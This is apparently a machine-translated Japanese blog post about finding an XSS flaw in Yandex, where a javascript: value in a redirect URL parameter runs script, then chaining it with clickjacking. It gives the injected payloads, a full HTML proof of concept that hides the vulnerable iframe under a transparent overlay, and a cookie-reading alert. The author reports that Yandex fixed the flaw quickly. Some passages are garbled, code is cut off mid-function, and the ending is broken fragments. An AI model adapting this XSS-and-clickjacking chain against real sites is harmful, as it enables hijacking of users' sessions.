
こんにちは、ホーカーズ!
今日、私はネットワークを歩き回り、首都の天気を見るためにYandexに行きました。 「別の都市」ボタンをクリックすると、Yandexは
ここにリダイレクトしまし
た 。 このようなアドレスを見た人は誰でも、パラメータの1つ、またはむしろリパスを置き換えたいと思っています。 :)私は標準を入れました
"><script>alert('xss');</script>
そしてソースに登り、何がフィルタリングされ、何がフィルタリングされないかを見てください。 これがソースの行です。
<span onclick="return {'b\-form\-button':{name:'b\-form\-button', 'retpath': "\"><script>alert('xss')"}}"
まあ、退屈だと思う-すべてがフィルタリングされます。 それから彼はより詳しく見て、Yandexは最初にURLにプロトコルを追加しないことに気付きました。 導入されました
javascript: alert('xss');
-動作します! ただし、残念ながら、「戻る」ボタンをクリックした場合のみです。
あなたはそれを試すことができます。 もうおもしろいので、さらに掘り下げて...
(教育目的で作成および提供された資料。)
それでは、ユーザーが「戻る」をクリックしていることをユーザーが知らないようにするために、何をする必要がありますか? -そうです。 このページをiframeに配置し、スタイルを追加し、ページ上の任意の要素の上に透過的に配置する必要があります。 オプションをフレームで試してみます-動作しません。 Yandexは、サイトがフレーム内で開いているかどうかを確認し、親ウィンドウ(ブラウザー)をYandexにリダイレクトします。 この問題を解決するには? html5でのみ導入されたiframeの
サンドボックス属性を見つけました。 そして彼は単にユーザーのリダイレクトを禁止しましたが、この方法はChromeでのみ機能し、フレーム全体のコンテンツをブロックしていました。
気分はすでに悪化し始めていたので、他の場所でretpathが使用されている場所を探すことにしました。そのような脆弱性がある場所にある場合、別の場所にあるからです。 辞書とヘルプでカップルを見つけましたが、戻るボタンはありませんでした。 次に、パラメーターを正しく変更しなかったため、Yandexから
ここに送ら
れ 、ここですべてが開始されました。
したがって、
urlパラメーターを
javascript:alert('ahoy!');
リンクをクリックします。 うまくいく! ここで、脆弱性を持つアドレスをiframeに配置しようとします。 やった! チェックはありません。
試してみる 。 よし、進みましょう。
次に、必要なスタイルをiframeに追加する必要があります。 私はこれを行うことにしました:脆弱性のあるiframeを小さな(100x20)div内に配置し、ユーザーにリンクだけが見えるようにiframeを移動します(クリックします:)。
<!DOCTYPE html> <html> <head> <style type="text/css"> body { margin:0; padding:0; } #helper { position: absolute; overflow: hidden; width: 200px; height: 13px; } #ifr { position: relative; top: -180px; left: -58px; } </style> </head> <body> <div id="helper"> <div style="width: 100%; height: 300px"> <iframe id="ifr" src="http://yandex.ru/redir_warning/?url=javascript:alert(document.cookie)" width="1000px" height="300" frameborder="no" scrolling="no" ></iframe> </div> </div> </body> </html>
完了しましたが、なんとなく退屈です! ユーザーに何も疑わないようにしたい。 どうやってやるの? 興味深い質問です。 最初に頭に浮かんだのは、
ヘルパー要素をマウスの後ろに移動した場合です。 これは、ユーザーが特定の場所をクリックする必要がなくなったことを意味します。 彼がクリックするたびに、スクリプトが実行されます。 私はコードをもたらします:
var el; window.onload = function() { var ifr = document.getElementById("ifr");
そして、メインのYandexからの大きくて目に見える電子メールを開き、ユーザーが自分がまだそこにいると考えます。 :)
<iframe id="yandex" src="http://yandex.ru/" width="100%" height="100%" frameborder="no"></iframe>
いいね! Yandexでは、フレーム内でグランページを開くことができます。
要素のzIndexを変更し、ヘルパーを非表示にし、Yandexフレームに重なり、フレーム間の競合を回避する透明なDIVを追加します。
<div id="overlay"></div>
#helper { z-index: 20000; opacity: 0; } #yandex { z-index: 10; } #overlay { position: absolute; top: 0; left: 0; width: 100%; height: 100%; z-index: 20; }
準備ができた例。どのように機能しますか?(リンクはアラートを実行します(document.cookie))
あなたが私の記事を楽しんでくれたことを願っています。 コメントさせていただきます。
20:30の時点で、脆弱性はカバーされています。Yandexにとって、脆弱性の修正速度が非常に速いことは非常にうれしいです。 Yandexからメールへ: , ! , . . -- , ... http: